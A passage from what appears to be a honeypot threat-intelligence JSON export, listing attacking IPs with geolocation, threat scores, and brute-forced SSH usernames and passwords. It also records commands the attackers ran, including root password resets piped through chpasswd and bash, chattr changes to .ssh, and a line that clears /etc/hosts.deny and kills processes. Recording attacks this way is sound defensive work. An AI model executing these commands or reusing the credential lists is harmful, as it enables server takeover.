        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 378,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T12:15:27.153000+00:00",
        "last_seen_30d": "2026-03-17T09:11:17.728000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 310,
        "Suricata": 68
      }
    },
    "118.69.65.39": {
      "attack_count": 302,
      "first_seen": "2026-03-20T16:45:40.958Z",
      "last_seen": "2026-03-24T09:41:43.573Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "dave",
        "root",
        "tom",
        "xbmc",
        "activemq",
        "albert",
        "ftpuser2",
        "mattermost",
        "mysql",
        "nico",
        "odin",
        "packer",
        "patrick",
        "smart",
        "trade",
        "ubuntu",
        "vishnu",
        "zimbra",
        "zxy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "123",
        "123456",
        "345gs5662d34",
        "1234",
        "12345",
        "123abc321",
        "Ftpuser2123!",
        "Password1",
        "Zxy123!",
        "admin1",
        "mattermost",
        "packer",
        "patrickpatrick",
        "smartpassword",
        "tom123!",
        "trade@123",
        "vishnu123",
        "xbmc123!",
        "zimbra@123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nLRMNwLnUzk4g\\nLRMNwLnUzk4g\\n\"|passwd",
        "echo \"tom123!\\nfx82CcPA2iv4\\nfx82CcPA2iv4\\n\"|passwd",
        "echo \"xbmc123!\\nBGkyi1BUlZZM\\nBGkyi1BUlZZM\\n\"|passwd",
        "echo -e \"123456\\nLRMNwLnUzk4g\\nLRMNwLnUzk4g\"|passwd|bash",
        "echo -e \"tom123!\\nfx82CcPA2iv4\\nfx82CcPA2iv4\"|passwd|bash",
        "echo -e \"xbmc123!\\nBGkyi1BUlZZM\\nBGkyi1BUlZZM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 366,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T16:45:40.958000+00:00",
        "last_seen_30d": "2026-03-24T09:42:46.612000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 302,
        "Suricata": 64
      }
    },
    "221.139.88.149": {
      "attack_count": 259,
      "first_seen": "2026-03-03T08:12:05.779Z",
      "last_seen": "2026-03-03T08:43:20.416Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "100200300",
        "1234554321",
        "B5m@998Rc*#C",
        "Bingo@1993",
        "Golden123",
        "P@44w0rd",
        "Qwer@2023",
        "Root@12345",
        "Vps2024",
        "qwert1",
        "xsw2!QAZ"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0EhszUkr4NSh\"|chpasswd|bash",
        "echo \"root:ZcnNnZiBP4nx\"|chpasswd|bash",
        "echo \"root:cUIL4ibtX8jy\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:12:05.779000+00:00",
        "last_seen_30d": "2026-03-03T08:44:25.859000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 40
      }
    },
    "51.79.165.204": {
      "attack_count": 234,
      "first_seen": "2026-03-02T00:00:07.957Z",
      "last_seen": "2026-03-02T17:16:32.984Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@QW34er",
        "12344",
        "1qazXSW@3edcVFR$",
        "Aa147258.",
        "As1234567",
        "Lh123456@",
        "Pa$$w0rd@2024",
        "Qwerty@1",
        "Sz123456",
        "admin2024",
        "ethan",
        "qwer1234.",
        "qwerty12345",
        "test01",
        "testpass",
        "zxcZXC123!@#"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:bRfFvQNqcMDm\"|chpasswd|bash",
        "echo \"root:mEEIzD2mqjsO\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 286,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:07.957000+00:00",
        "last_seen_30d": "2026-03-02T17:17:33.441000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 234,
        "Suricata": 52
      }
    },
    "165.227.200.31": {
      "attack_count": 204,
      "first_seen": "2026-03-16T18:26:39.147Z",
      "last_seen": "2026-03-16T18:34:43.666Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "abuse",
        "admin",
        "alex",
        "alfred",
        "app",
        "chatgpt",
        "cloudera",
        "cloudsigma",
        "deploy",
        "dst",
        "elasticsearch",
        "flow",
        "frappe",
        "github",
        "j",
        "kingbase",
        "mo",
        "postgres",
        "pouria"
      ],
      "passwords_attempted": [
        "123456",
        "111",
        "123",
        "1234",
        "12345678",
        "123mudar",
        "123root",
        "654654654",
        "Aa111111",
        "Admin123",
        "P@ssw0rd",
        "Tiki2025@!",
        "abuse",
        "admin@123",
        "alexander",
        "alfred",
        "ankurkudintzi",
        "chatgpt",
        "cloudera",
        "debian"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T18:26:39.147000+00:00",
        "last_seen_30d": "2026-03-16T18:44:53.330000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 85
      }
    },
    "103.119.94.10": {
      "attack_count": 196,
      "first_seen": "2026-03-13T02:44:48.428Z",
      "last_seen": "2026-03-13T03:19:22.944Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ws",
        "claude",
        "deamon",
        "kirill",
        "mamad",
        "music",
        "teste"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "1QAZ2WSX3EDC",
        "2005",
        "Admin@123",
        "deamonpass",
        "qwerty",
        "test123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\nXBkrHAVYNBN0\\nXBkrHAVYNBN0\\n\"|passwd",
        "echo \"root:Tfn9wTGIbFXu\"|chpasswd|bash",
        "echo -e \"password\\nXBkrHAVYNBN0\\nXBkrHAVYNBN0\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Mymensingh",
      "asn": 137987,
      "as_org": "Md. Shohidul Islam TA SK Link",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 234,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T02:44:48.428000+00:00",
        "last_seen_30d": "2026-03-13T03:20:24.782000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 38
      }
    },
    "85.69.240.210": {
      "attack_count": 196,
      "first_seen": "2026-03-02T20:28:56.661Z",
      "last_seen": "2026-03-02T20:53:00.388Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "3245gs5662d34",
        "345gs5662d34",
        "123.com.cn",
        "123@qwer",
        "Abc12345!",
        "Deneme123",
        "Passw0rd!@#$",
        "a2008",
        "aaaaaaaaaa",
        "atmosphere",
        "q1w2e3R4",
        "root123456!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5y5f6fA1Jhx3\"|chpasswd|bash",
        "echo \"root:o4gba7M1IXOl\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 15557,
      "as_org": "Societe Francaise Du Radiotelephone - SFR SA",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:28:56.661000+00:00",
        "last_seen_30d": "2026-03-02T20:54:02.411000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 36
      }
    },
    "157.245.207.46": {
      "attack_count": 191,
      "first_seen": "2026-03-04T09:31:31.739Z",
      "last_seen": "2026-03-04T10:01:50.434Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123!@#123",
        "1qaz!2wsx@",
        "888888",
        "Aa@123456",
        "Ab123456!",
        "Bingo@1993",
        "Sz123456@",
        "WH123456@",
        "khongaibiet",
        "qwe123123123",
        "tester"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:fCl02vWOAOd7\"|chpasswd|bash",
        "echo \"root:lFJd86oWALtA\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T09:31:31.739000+00:00",
        "last_seen_30d": "2026-03-04T10:02:58.597000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "103.80.87.39": {
      "attack_count": 168,
      "first_seen": "2026-03-27T00:49:25.465Z",
      "last_seen": "2026-03-27T02:38:56.393Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0912",
        "1166",
        "123.com.CN",
        "3245gs5662d34",
        "345gs5662d34",
        "Avcon@202433!",
        "Mm147258",
        "Qw123456789",
        "Welcome2025$",
        "a1234568",
        "amazon123",
        "amiramir",
        "as2025",
        "b123",
        "jf@123456",
        "loveme",
        "mikes666",
        "minimax",
        "qwertyasd",
        "server11"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:YtE6hKniW1JO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Dronten",
      "asn": 50053,
      "as_org": "Anton Levin",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T00:49:25.465000+00:00",
        "last_seen_30d": "2026-03-27T02:39:58.573000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 63
      }
    },
    "181.48.79.202": {
      "attack_count": 168,
      "first_seen": "2026-03-31T12:33:29.184Z",
      "last_seen": "2026-03-31T13:47:22.622Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!123qwe",
        "12345678abc",
        "1q2w3e4r5t.",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin!2#4",
        "Papa@1234",
        "QWE123!@#",
        "QWE123ZXC",
        "Root#2025",
        "Welcome123456",
        "admin#1234",
        "cloud23",
        "gitlab",
        "leopard",
        "pass@word123",
        "qwaszx123",
        "qwe123456qwe",
        "r1o2o3t4",
        "secret"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:nPfZyzR4GDYu\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 14080,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T12:33:29.184000+00:00",
        "last_seen_30d": "2026-03-31T13:48:25.758000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "78.187.224.134": {
      "attack_count": 168,
      "first_seen": "2026-03-31T10:54:34.900Z",
      "last_seen": "2026-03-31T12:00:33.683Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!qazxsw2#edc",
        "1234567A",
        "12QWASZX",
        "1qaz!QAZ",
        "3245gs5662d34",
        "345gs5662d34",
        "585858",
        "88889999",
        "987654abc",
        "Admin123456.",
        "Gfhjkm",
        "abc123@@@",
        "caonimab",
        "config",
        "khadimSyl03",
        "pan",
        "qazcde",
        "qazwsx123123",
        "root-123",
        "root123root"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Y6h72NTo842z\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "\u00c7ankaya",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T10:54:34.900000+00:00",
        "last_seen_30d": "2026-03-31T12:01:36.104000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "157.97.107.143": {
      "attack_count": 144,
      "first_seen": "2026-03-19T07:03:55.271Z",
      "last_seen": "2026-03-19T07:30:31.975Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "es",
        "345gs5662d34",
        "bpoint",
        "cashier",
        "dbadmin",
        "dennis",
        "fff",
        "lankacom",
        "lin",
        "lucas",
        "maintainer",
        "markus",
        "ralph",
        "real",
        "root2",
        "thomas"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Dbadmin",
        "Fff",
        "Lucas",
        "dennisdennis",
        "es123456",
        "lankacompassword",
        "maintainer@123",
        "markus@123456",
        "ralph@123",
        "thomas123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"es123456\\nRBPmGtZDNZiq\\nRBPmGtZDNZiq\\n\"|passwd",
        "echo -e \"es123456\\nRBPmGtZDNZiq\\nRBPmGtZDNZiq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T07:03:55.271000+00:00",
        "last_seen_30d": "2026-03-19T07:31:36.523000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 39
      }
    },
    "158.174.210.161": {
      "attack_count": 119,
      "first_seen": "2026-03-15T10:19:21.310Z",
      "last_seen": "2026-03-15T10:42:30.327Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "scanner",
        "345gs5662d34",
        "crm",
        "cyrus",
        "info",
        "mama",
        "readonlyuser",
        "steamcmd",
        "student4",
        "ttt",
        "xml"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Scanner123",
        "Student4123",
        "mama",
        "password",
        "test123",
        "ttt",
        "xml1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Scanner123\\nN9Izf7GMQf4O\\nN9Izf7GMQf4O\\n\"|passwd",
        "echo -e \"Scanner123\\nN9Izf7GMQf4O\\nN9Izf7GMQf4O\"|passwd|bash",
